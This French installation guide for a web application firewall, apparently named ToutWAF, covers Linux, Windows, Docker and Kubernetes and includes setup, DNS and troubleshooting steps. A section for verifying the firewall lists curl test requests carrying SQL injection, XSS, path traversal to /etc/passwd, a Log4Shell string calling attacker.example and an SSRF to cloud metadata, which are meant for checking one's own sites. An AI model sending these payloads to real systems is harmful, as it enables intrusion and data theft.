Installer ToutWAF pas à pas
Procédures à copier-coller pour AlmaLinux 10, les autres distributions Linux, Windows, Docker et Kubernetes. Binaires natifs : aucun runtime à installer. Puis lancez l'assistant, basculez le DNS et vérifiez.
La version que vous installez
La version publique est une version de développement, nommée 0.3.0-dev. Son nom ne change pas : chaque publication remplace la précédente, et un identifiant de build distingue deux builds. Aucune version stable n'existe encore : elle ne sera publiée que lorsque chaque système et chaque paquet auront été testés de bout en bout. Les commandes de cette page installent donc depuis le canal dev. Une version de développement peut contenir des défauts : essayez-la sur un site de test avant de vous y fier.
Prérequis
Un serveur 64 bits (amd64 ou arm64) sous Linux ou Windows, un accès root ou administrateur, et les ports 80 et 443 libres. La console écoute sur le port 9443, sous un chemin secret. Le détail des prérequis et des dépendances est juste en dessous.
Prérequis et dépendances
Ce dont votre serveur a besoin, ce que l'installeur ajoute et ce qui reste facultatif.
Systèmes pris en charge
Linux avec systemd 239 ou plus récent et glibc 2.28 ou plus récent, en amd64 ou arm64 : AlmaLinux, Rocky Linux, RHEL et Oracle Linux 8 à 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 à 13, Ubuntu 20.04 à 26.04, openSUSE et Arch (tableau complet plus bas). Windows 10, 11 et Server 2016 à 2025 (pas encore exécuté sur un vrai hôte Windows). L'installeur vérifie votre système avant de rien modifier. Serveurs que vous ajoutez depuis la console : l'agent existe pour Linux (amd64, arm64) et Windows (amd64).
Ports réseau
80 et 443 : trafic web (data plane). 9443 : console (modifiable avec --cp-port). 9444 : API utilisée par les nœuds data plane et les agents de serveurs ; l'installeur ne l'ouvre pas, autorisez-la uniquement depuis vos propres serveurs. 127.0.0.1:9101 : point de santé local. L'UDP 443 reste fermé (HTTP/3 n'est pas implémenté). Les agents de serveurs ne font que des connexions sortantes vers le port 9444.
Ce que fait l'installeur
Nécessite les droits root ou administrateur et un accès HTTPS sortant pour télécharger la version. Installe curl, tar et libcap s'ils manquent (et policycoreutils-python-utils sur les systèmes SELinux), crée un utilisateur toutwaf sans privilèges et un dossier d'installation unique (/var/toutwaf avec bin, conf, data et logs ; --home DIR le change, et une installation plus ancienne garde ses chemins), installe des services systemd durcis (services Windows sous Windows), autorise le data plane à écouter sur les ports 80 et 443 sans root, ouvre le pare-feu par défaut quand firewalld ou ufw est actif (80, 443 et le port de la console ; --console-from limite la console, --no-firewall désactive), étiquette les fichiers pour SELinux et vérifie les sommes SHA-256.
Langue de l'installeur
Anglais par défaut ; l'installeur détecte la langue du système. Forcez-en une avec --fr --de --es --it --pt --nl --ru --zh --ar ou --en (Windows : -Fr, etc., ou la variable TOUTWAF_LANG).
Binaires autonomes
Le data plane est écrit en Rust, le control plane et l'agent en Go, et la console est intégrée au control plane. Aucun runtime Python, Node.js ou Java et aucun serveur de base de données à installer : les données sont stockées dans SQLite. Le data plane Rust nécessite glibc 2.28 ou plus récente. Principaux composants tiers : tokio, hyper et rustls (Rust), Svelte et xterm.js (console).
Éléments facultatifs
ClamAV pour les analyses antivirus des hôtes Linux (la console peut l'installer pour vous) ; Microsoft Defender sous Windows. openssl seulement si vous activez la vérification de signature des versions, cosign seulement si vous voulez qu'il vérifie les signatures. Docker n'est pas nécessaire : les manifestes Docker et Kubernetes sont des modes de déploiement alternatifs.
ToutPanel (serveur d'hébergement web)
Installé depuis la console par SSH, ou avec son propre installeur. Linux : Debian 11 à 13, Ubuntu 20.04 à 24.04, AlmaLinux, Rocky Linux et RHEL 9 et 10, Fedora 40 et suivantes. Windows 10 et 11, Windows Server 2016 à 2025. Nécessite root et bash (Linux) ou PowerShell 5.1+ en administrateur (Windows), Python 3.9 à 3.14 (installé par son script si la distribution le fournit), 1 Go de RAM minimum (2 Go recommandés avec MariaDB et PHP), 2 Go de disque libre plus vos sites, et un accès HTTPS sortant. Son panel écoute par défaut sur le port 8888 ; les ports 80 et 443 servent les sites. Source : le README de ToutPanel.
ToutWAF ne publie pas encore de valeurs minimales de processeur, de RAM ou de disque : dimensionnez votre serveur avec un test sur votre propre trafic.
Systèmes pris en charge
Vérifiés par l'installeur avant qu'il ne modifie quoi que ce soit. Les statuts viennent des données propres de l'installeur.
- tested Le test d'installation complet en conteneur a réussi sur cette version précise.
- expected Même famille, glibc et systemd assez récents, mais le test complet n'a pas été exécuté.
- unsupported Refusé avant toute modification (contournable à vos risques avec --skip-os-check).
| Distribution | Versions |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | toutes versionsexpected |
| Pop!_OS | toutes versionsexpected |
| Zorin OS | toutes versionsexpected |
| elementary OS | toutes versionsexpected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | toutes versionsunsupported |
| Devuan | toutes versionsunsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | toutes versionsunsupported |
| openSUSE MicroOS / Aeon / Kalpa | toutes versionsunsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | toutes versionsunsupported |
| Alpine Linux | toutes versionsunsupported |
| Void Linux | toutes versionsunsupported |
| NixOS | toutes versionsunsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
L'assistant de configuration : de zéro à un site protégé
Au premier lancement, l'assistant web vous mène de zéro à un site protégé, en mode détection, sans rien casser.
Domaine et origine
Saisissez le domaine public et l'adresse de votre serveur.
Certificat automatique
Un certificat de l'autorité de votre choix (Let's Encrypt par défaut) est demandé et renouvelé pour vous.
Détection de la stack
ToutWAF reconnaît WordPress, Laravel, Django et d'autres.
Modèle de politique
Un modèle adapté est proposé. Relisez-le ou gardez celui par défaut.
Mode détection
Le trafic est analysé sans blocage pendant quelques jours, puis un rapport est établi.
Passage en blocage
Un clic pour appliquer, un clic pour revenir en arrière.
- ✓99,8 % du trafic serait autorisé
- !3 règles causent 95 % des faux positifs
- ✓3 exceptions proposées, prêtes à être validées
Mettre à jour le système et installer les prérequis
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstaller avec le script en une ligne
Le script télécharge les binaires natifs adaptés à votre architecture, crée un utilisateur dédié sans privilèges et installe les services systemd durcis toutwaf-dp (plan de données, ports 80 et 443) et toutwaf-cp (plan de contrôle et console, port 9443), puis affiche vos informations de première connexion.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashVous préférez lire le script d'abord ?
Téléchargez-le, relisez-le, puis exécutez-le. Recommandé pour les serveurs de production.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOptions de l'installeur
Une nouvelle installation tient dans un seul dossier, /var/toutwaf (bin, conf, data et logs ; changez-le avec --home DIR ou TOUTWAF_HOME), et les outils en ligne de commande sont liés dans /usr/local/bin. Une installation plus ancienne garde ses propres chemins (/etc/toutwaf, /var/lib/toutwaf) et n'est jamais déplacée.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devOuvrir le pare-feu
L'installeur ouvre ces ports par défaut quand firewalld ou ufw est actif : 80 et 443, et le port 9443 de la console (limitez-le à votre réseau d'administration avec --console-from). Le port 9444 des agents n'est jamais ouvert au public. Ces commandes ne servent qu'avec --no-firewall, avec un autre pare-feu, ou pour le faire à la main.
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
Gardez SELinux en mode enforcing. Étiquetez les répertoires de ToutWAF et vérifiez qu'aucun refus AVC n'est journalisé.
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recentGérer les services
Les deux services démarrent au boot. Utilisez ces commandes pour les démarrer, les arrêter ou les redémarrer.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVérifier les services
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerMettre à jour
Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDésinstaller
Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeMettre à jour le système et installer les prérequis
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstaller avec le script en une ligne
Le script télécharge les binaires natifs adaptés à votre architecture, crée un utilisateur dédié sans privilèges et installe les services systemd durcis toutwaf-dp (plan de données, ports 80 et 443) et toutwaf-cp (plan de contrôle et console, port 9443), puis affiche vos informations de première connexion.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashVous préférez lire le script d'abord ?
Téléchargez-le, relisez-le, puis exécutez-le. Recommandé pour les serveurs de production.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOptions de l'installeur
Une nouvelle installation tient dans un seul dossier, /var/toutwaf (bin, conf, data et logs ; changez-le avec --home DIR ou TOUTWAF_HOME), et les outils en ligne de commande sont liés dans /usr/local/bin. Une installation plus ancienne garde ses propres chemins (/etc/toutwaf, /var/lib/toutwaf) et n'est jamais déplacée.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devGérer les services
Les deux services démarrent au boot. Utilisez ces commandes pour les démarrer, les arrêter ou les redémarrer.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVérifier les services
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerMettre à jour
Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDésinstaller
Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeInstaller les prérequis (apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufwInstaller avec le script en une ligne
Le script télécharge les binaires natifs adaptés à votre architecture, crée un utilisateur dédié sans privilèges et installe les services systemd durcis toutwaf-dp (plan de données, ports 80 et 443) et toutwaf-cp (plan de contrôle et console, port 9443), puis affiche vos informations de première connexion.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashVous préférez lire le script d'abord ?
Téléchargez-le, relisez-le, puis exécutez-le. Recommandé pour les serveurs de production.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOptions de l'installeur
Une nouvelle installation tient dans un seul dossier, /var/toutwaf (bin, conf, data et logs ; changez-le avec --home DIR ou TOUTWAF_HOME), et les outils en ligne de commande sont liés dans /usr/local/bin. Une installation plus ancienne garde ses propres chemins (/etc/toutwaf, /var/lib/toutwaf) et n'est jamais déplacée.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devOuvrir le pare-feu (ufw)
L'installeur ouvre ces ports par défaut quand firewalld ou ufw est actif : 80 et 443, et le port 9443 de la console (limitez-le à votre réseau d'administration avec --console-from). Le port 9444 des agents n'est jamais ouvert au public. Ces commandes ne servent qu'avec --no-firewall, avec un autre pare-feu, ou pour le faire à la main.
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw statusGérer les services
Les deux services démarrent au boot. Utilisez ces commandes pour les démarrer, les arrêter ou les redémarrer.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVérifier les services
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerMettre à jour
Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDésinstaller
Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeOuvrir PowerShell en administrateur et lancer l'installeur
Installe les binaires natifs, enregistre le service Windows ToutWAF pour le plan de données et une tâche de démarrage pour la console, et ouvre les ports du pare-feu. L'installeur n'a pas encore été exécuté sur un vrai hôte Windows.
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iexOuvrir le pare-feu
L'installeur ouvre ces ports par défaut quand firewalld ou ufw est actif : 80 et 443, et le port 9443 de la console (limitez-le à votre réseau d'administration avec --console-from). Le port 9444 des agents n'est jamais ouvert au public. Ces commandes ne servent qu'avec --no-firewall, avec un autre pare-feu, ou pour le faire à la main.
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action AllowVérifier les services
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443Mettre à jour
Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -YesDésinstaller
Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeDocker Compose sur Mac ou Linux
Docker Compose sous Linux ou sur un Mac (Docker Desktop, OrbStack, Colima), avec l'image tout-en-un (plan de contrôle et plan de données). Les fichiers viennent de votre distribution ToutWAF (le dossier deploy, absent du dépôt public qui ne contient que des binaires et des installeurs). L'image embarque des binaires précompilés par architecture (bin/amd64 ou bin/arm64) et aucune image n'est encore publiée dans un registre. Testée sur Linux amd64 seulement ; non testée sur un vrai Mac, où l'IP cliente vue derrière Docker Desktop est l'adresse de la passerelle Docker. Les identifiants à usage unique apparaissent une seule fois dans le journal du plan de contrôle.
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cpMettre à jour (conteneurs)
Faites d'abord une sauvegarde. Le bouton de mise à jour de la console ne peut pas fonctionner dans un conteneur : remplacez les binaires du dossier bin (ou l'image, quand une image sera publiée) et reconstruisez ; les volumes, donc vos données, sont conservés.
docker compose up -d --buildDésinstaller
Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.
docker compose downdocker compose down -vInstaller avec Helm
Déploie le plan de données en ingress, avec un plan de contrôle dans le cluster si vous le souhaitez. Le chart et les manifestes (mode sidecar compris) sont dans le dossier deploy de votre distribution ToutWAF, pas dans le dépôt public qui ne contient que des binaires et des installeurs. L'opérateur se limite à des CRD et à une ébauche.
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yamlVérifier les pods et ouvrir la console
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443Mettre à jour (conteneurs)
Faites d'abord une sauvegarde. Le bouton de mise à jour de la console ne peut pas fonctionner dans un conteneur : remplacez les binaires du dossier bin (ou l'image, quand une image sera publiée) et reconstruisez ; les volumes, donc vos données, sont conservés.
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yamlDésinstaller
Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwafAprès l'installation : configurer et vérifier
Première connexion
Ouvrez le lien secret de la console affiché à la fin de l'installation (la console ne répond que sous ce chemin), puis utilisez le lien de configuration à usage unique, ou le mot de passe administrateur généré une seule fois dans le récapitulatif. Activez tout de suite l'authentification à deux facteurs et créez un second administrateur pour ne jamais être verrouillé dehors.
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)Ajouter votre premier site
Dans Sites, cliquez sur Nouveau site et saisissez le domaine public et l'amont (l'adresse réelle de votre serveur). Démarrez en mode détection seule, puis passez en blocage quand le rapport est propre. Les sites peuvent aussi être créés avec l'API REST et un jeton d'API.
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'Basculer le DNS
Abaissez le TTL de vos enregistrements la veille. Puis faites pointer les enregistrements A / AAAA du domaine vers le serveur ToutWAF. Une fois le DNS propagé, le certificat est émis. Restreignez le pare-feu de votre origine pour que seul le serveur ToutWAF puisse l'atteindre.
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcpVérifier avec des attaques de test
Chacune de ces requêtes doit renvoyer 403 et apparaître dans Attaques (en mode blocage). Ne les lancez que sur vos propres sites.
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/Dépannage
La console est inaccessible sur le port 9443
Lancez le Docteur ToutWAF sur le serveur : il contrôle les services, les ports et le pare-feu de la machine et dit quoi faire. Il fonctionne aussi depuis la ligne de commande quand la console elle-même est injoignable ; un éventuel groupe de sécurité du cloud doit aussi laisser passer le port 9443.
Des requêtes légitimes sont bloquées (faux positifs)
Ouvrez l'événement dans Attaques, lisez l'explication, puis cliquez sur le bouton faux positif pour créer l'exception la plus étroite, ou baissez le niveau de paranoïa du site.
502 Bad Gateway
ToutWAF n'atteint pas votre origine. Ouvrez le Docteur ToutWAF, ligne « Serveur d'origine » : il dit si le port refuse la connexion, si le nom ne se résout pas ou si le certificat n'est pas de confiance, et quoi faire. Vérifiez aussi le pare-feu de l'origine.
L'émission Let's Encrypt échoue
Le Docteur ToutWAF contrôle le DNS (y compris un enregistrement AAAA oublié chez un CDN ou un proxy) et l'accessibilité du port 80 avant une commande. Pour un certificat générique, utilisez le défi DNS-01.
L'IP réelle du client est incorrecte dans mon application
Lisez l'en-tête X-Forwarded-For positionné par ToutWAF, et ne lui faites confiance que s'il provient de l'adresse du serveur ToutWAF.
Où sont les journaux ?
Utilisez les pages Journaux et Événements de la console. Les services écrivent aussi dans le journal système de la machine, et le Docteur produit un rapport texte que vous pouvez envoyer au support.